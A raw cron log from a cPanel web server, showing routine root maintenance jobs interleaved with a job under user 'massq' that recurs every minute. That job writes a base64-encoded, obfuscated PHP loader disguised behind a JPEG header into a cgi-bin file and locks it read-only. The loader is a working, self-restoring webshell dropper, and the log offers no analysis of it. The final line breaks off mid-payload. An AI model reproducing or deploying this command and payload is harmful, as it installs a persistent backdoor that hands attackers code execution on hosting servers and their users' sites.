Sep  6 21:59:01 server CROND[14396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:59:01 server CROND[14397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:00:01 server CROND[14773]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  6 22:00:01 server CROND[14775]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 22:00:02 server CROND[14777]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 22:00:02 server CROND[14778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:00:02 server CROND[14781]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:00:02 server CROND[14785]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 22:00:02 server CROND[14779]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 22:00:02 server CROND[14782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:00:02 server CROND[14783]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  6 22:00:02 server CROND[14784]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 22:01:01 server CROND[15616]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:01:01 server CROND[15615]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:01:01 server CROND[15614]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 22:01:01 server CROND[15617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:01:01 server run-parts(/etc/cron.hourly)[15614]: starting 0anacron
Sep  6 22:01:01 server run-parts(/etc/cron.hourly)[15638]: finished 0anacron
Sep  6 22:02:01 server CROND[16097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:02:01 server CROND[16098]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:02:01 server CROND[16099]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:03:01 server CROND[16478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:03:01 server CROND[16479]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:03:01 server CROND[16480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:04:01 server CROND[16848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:04:01 server CROND[16850]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:04:01 server CROND[16849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:05:01 server CROND[17235]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 22:05:01 server CROND[17239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:05:01 server CROND[17245]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 22:05:01 server CROND[17246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:05:01 server CROND[17251]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 22:05:01 server CROND[17249]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 22:05:01 server CROND[17253]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:05:01 server CROND[17250]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 22:06:01 server CROND[18095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:06:01 server CROND[18096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:06:01 server CROND[18097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:07:01 server CROND[18561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:07:01 server CROND[18560]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:07:01 server CROND[18562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:08:01 server CROND[18932]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:08:01 server CROND[18933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:08:01 server CROND[18934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:09:01 server CROND[19307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:09:01 server CROND[19309]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 22:09:01 server CROND[19310]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:09:01 server CROND[19308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:10:01 server CROND[19698]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 22:10:01 server CROND[19701]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 22:10:01 server CROND[19702]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 22:10:01 server CROND[19705]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 22:10:01 server CROND[19708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:10:01 server CROND[19706]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 22:10:01 server CROND[19711]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:10:01 server CROND[19709]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0